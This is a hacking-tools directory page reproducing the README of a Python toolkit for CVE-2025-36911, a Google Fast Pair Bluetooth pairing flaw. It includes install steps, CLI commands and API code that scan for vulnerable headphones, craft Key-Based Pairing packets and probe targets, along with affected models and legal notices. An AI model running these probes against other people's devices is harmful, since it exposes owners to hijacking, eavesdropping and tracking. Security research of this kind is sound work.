Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
DIY_WhisperPair — Hijacking Bluetooth Accessories Using Google Fast Pair: WhisperPair CVE-2025-36911 Reference Implementation & Vulnerability Verification Toolkit | Kitploit
Tools/GitHubGitHub/spectrixdev/diy_whisperpair
Bluetooth SecurityVulnerability AnalysisExploitationWireless SecurityPenetration TestingHardware & IoT SecurityPapers & ResearchLearning & Education
GitHubspectrixdev/diy_whisperpair

DIY_WhisperPair

Hijacking Bluetooth Accessories Using Google Fast Pair: WhisperPair CVE-2025-36911 Reference Implementation & Vulnerability Verification Toolkit

View Repository
103172 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

DIY-WhisperPair

CVE-2025-36911 Reference Implementation & Vulnerability Verification Toolkit

Research CVE Status

OFFICIAL IMPLEMENTATION NOW LIVE , thanks to the team at KU Leuven (Thanks for the shoutout)

LEGAL NOTICE: This is a security research tool. Read LEGAL.md before use. Unauthorized access to computer systems is a criminal offence.


WhisperPair Demonstration

What is WhisperPair?

Hijacking Bluetooth Accessories Using Google Fast Pair.

WhisperPair (CVE-2025-36911) is a critical vulnerability that allows attackers to forcefully pair with flagship audio accessories without user consent, often in under 10 seconds.

DIY-WhisperPair is a research toolkit implementing these attacks to demonstrate three key risks:

  • Device Hijacking: Seizing control of audio and microphone streams by bypassing pairing mode checks.
  • Location Tracking: Maliciously registering devices to Google's Find Hub Network to stalk victims.
  • Cross-Ecosystem Impact: Exploiting accessories regardless of the paired phone (iOS or Android).

[!NOTE] Research Only: This toolkit contains Proof-of-Concept scanners and verifiers. It does not include tools for active eavesdropping, persistent location tracking, or malicious payload injection. Its purpose is solely to identify vulnerable devices.


Quick Start

root@kitploit:~
# Install
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
pip install -e .

# Run interactive CLI
whisperpair

This launches an interactive menu:

root@kitploit:~
╦ ╦╦ ╦╦╔═╗╔═╗╔═╗╦═╗╔═╗╔═╗╦╦═╗
║║║╠═╣║╚═╗╠═╝║╣ ╠╦╝╠═╝╠═╣║╠╦╝
╚╩╝╩ ╩╩╚═╝╩  ╚═╝╩╚═╩  ╩ ╩╩╩╚═

────────────── Main Menu ──────────────

  1  Scan      Discover Fast Pair devices nearby
  2  Verify    Test device vulnerability (requires authorization)
  3  Info      Get detailed device information
  4  About     Learn about CVE-2025-36911
  0  Exit      Quit the application

Select option [1]:

For Researchers: Python API

This library is designed to be easily extensible. Import what you need:

Simple Functions

root@kitploit:~
import asyncio
from whisperpair import scan_devices, verify_device, get_device_info

# Scan for Fast Pair devices
devices = asyncio.run(scan_devices(timeout=10))
for d in devices:
    print(f"{d.address} - {d.name} - Risk: {'HIGH' if not d.is_in_pairing_mode else 'Low'}")

# Find only vulnerable devices (not in pairing mode)
vulnerable = asyncio.run(scan_devices(vulnerable_only=True))

# Verify a specific device (REQUIRES AUTHORIZATION)
result = asyncio.run(verify_device("AA:BB:CC:DD:EE:FF"))
if result.success:
    print(f"VULNERABLE - Provider: {result.provider_address}")

# Get device info
info = asyncio.run(get_device_info("AA:BB:CC:DD:EE:FF"))
print(f"Model: {info['model_name']}")

Building Custom Tools

root@kitploit:~
from whisperpair import (
    # Scanner
    FastPairScanner,
    FastPairDevice,
    
    # Client  
    FastPairClient,
    VerificationResult,
    
    # Protocol
    KeyBasedPairingRequest,
    KeyBasedPairingResponse,
    PairingRequestFlags,
    parse_bluetooth_address,
    parse_kbp_response_multi_strategy,
    
    # Crypto
    FastPairCrypto,
    aes_128_encrypt,
    aes_128_decrypt,
    generate_account_key,
    
    # Constants
    FAST_PAIR_SERVICE_UUID,
    KEY_BASED_PAIRING_CHAR_UUID,
    KNOWN_MODEL_IDS,
)

# Custom scanner with callbacks
def on_found(device: FastPairDevice):
    if not device.is_in_pairing_mode:
        print(f"[!] Potential target: {device.address}")

scanner = FastPairScanner(timeout=15, on_device_found=on_found)
asyncio.run(scanner.scan())

# Build raw protocol packets (flags 0x11 = INITIATE_BONDING | EXTENDED_RESPONSE)
target_bytes = parse_bluetooth_address("AA:BB:CC:DD:EE:FF")
request = KeyBasedPairingRequest.for_verification(provider_address=target_bytes)
packet = request.build()  # 16-byte plaintext

# Multiple verification strategies available:
# - strategy_raw_kbp()      - flags 0x11, works on most vulnerable devices
# - strategy_with_seeker()  - flags 0x02, includes seeker address
# - strategy_retroactive()  - flags 0x0A, bypasses some checks
# - strategy_extended()     - flags 0x10, for newer devices

# Full custom flow (AES key optional - response detection alone indicates vulnerability)
async with FastPairClient("AA:BB:CC:DD:EE:FF") as client:
    model_id = await client.read_model_id()
    result = await client.verify_pairing_behavior()  # No key needed for detection
    if result.response_received:
        print("VULNERABLE - device responded when it shouldn't")

Example Scripts

See examples.py for copy-paste ready examples:

root@kitploit:~
python examples.py scan              # Basic scanning
python examples.py vulnerable        # Find vulnerable devices
python examples.py verify AA:BB:CC:DD:EE:FF
python examples.py custom            # Scanner with callbacks

CLI Commands

Interactive Mode (Default)

root@kitploit:~
whisperpair

Direct Commands

root@kitploit:~
# Scan for devices
whisperpair scan
whisperpair scan --vulnerable
whisperpair scan --timeout 15

# Get device info
whisperpair info AA:BB:CC:DD:EE:FF

# Verify vulnerability (requires flags)
whisperpair verify AA:BB:CC:DD:EE:FF --authorized

# Learn about the vulnerability
whisperpair about

Legal Requirements

You MUST Have Authorization

This tool performs active Bluetooth operations. Before running any verification commands, you must have:

  1. Written permission from the device owner, OR
  2. Own the device yourself

Jurisdiction-Specific Laws

See LEGAL.md for detailed guidance.


The Vulnerability (CVE-2025-36911)

The Flaw

Google Fast Pair requires devices to only accept pairing requests when in pairing mode. Many devices fail this check:

root@kitploit:~
EXPECTED: Device checks "Am I in pairing mode?" → NO → Reject
ACTUAL:   Device accepts request regardless of mode state

How Detection Works

The vulnerability is detected by checking if a device responds at all to a Key-Based Pairing request when not in pairing mode:

root@kitploit:~
graph TD
    subgraph Packet["Key-Based Pairing Request (16 bytes)"]
      direction LR
      B0["0x00"]
      B1["0x11"]
      MAC["MAC: 6 bytes"]
      Salt["Salt: 8 bytes"]
    end

    B0:::byte -- "Message Type" --> Desc0["Key-Based Pairing Request"]
    B1:::byte -- "Flags" --> Desc1["INITIATE_BONDING | EXTENDED_RESP"]

    classDef byte fill:#e1f5fe,stroke:#333,stroke-width:1px;

Detection: Response received = VULNERABLE (no AES key needed!)

Impact

An attacker within Bluetooth range (~10-14m) can:

  • Play audio through victim's headphones
  • Access microphone for surveillance
  • Track location via Google Find Hub

Affected Devices (Pre-Patch)

ManufacturerDevices
GooglePixel Buds Pro 2

Project Structure

root@kitploit:~
DIY_WhisperPair/
├── src/whisperpair/
│   ├── __init__.py      # Public API exports
│   ├── scanner.py       # BLE device discovery
│   ├── client.py        # GATT client & verification
│   ├── protocol.py      # Packet builders
│   ├── crypto.py        # AES-128, ECDH, keys
│   ├── constants.py     # UUIDs, Model IDs
│   └── cli.py           # Interactive CLI
├── examples.py          # Copy-paste code snippets
├── security_demo.py     # Standalone verification demo
├── LEGAL.md
└── README.md

Installation

root@kitploit:~
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
pip install -e .

Requirements

  • Python 3.10+
  • Bluetooth adapter with BLE support
  • Linux: BlueZ 5.50+
  • Windows: Windows 10 1703+
  • macOS: macOS 10.13+

References

Original Research

  • Website: whisperpair.eu
  • CVE: CVE-2025-36911
  • Paper: "WhisperPair: Hijacking Bluetooth Accessories Using Google Fast Pair"
  • Authors: KU Leuven DistriNet (Duttagupta, Antonijević, Preneel, Wyns, Singelée)

Technical Docs

  • Google Fast Pair Spec
  • Key-based Pairing Protocol

Video

One Tap to Hijack Them All


Responsible Use

This tool is provided solely for:

  • Security research and vulnerability verification
  • Authorized penetration testing
  • Device manufacturer validation
  • Educational purposes

NOT for: Unauthorized access, harassment, surveillance, or any illegal activity.


License

MIT License - See LICENSE


Acknowledgments

  • SpectrixDev - Project Maintainer
  • KU Leuven DistriNet - Original research
  • Google Android Security Team - Coordinated disclosure
  • Seytonic - Excellent explainer video
Download Tool
JurisdictionRelevant Law
UKComputer Misuse Act 1990, Section 1-3A
USComputer Fraud and Abuse Act (CFAA)
EUDirective 2013/40/EU
Germany§ 202a-c StGB
AustraliaCriminal Code Act 1995, Part 10.7
SonyWF-1000XM4, WH-1000XM5, LinkBuds S
JBLTune Buds, Live Pro 2
AnkerSoundcore Liberty 4
OthersSee whisperpair.eu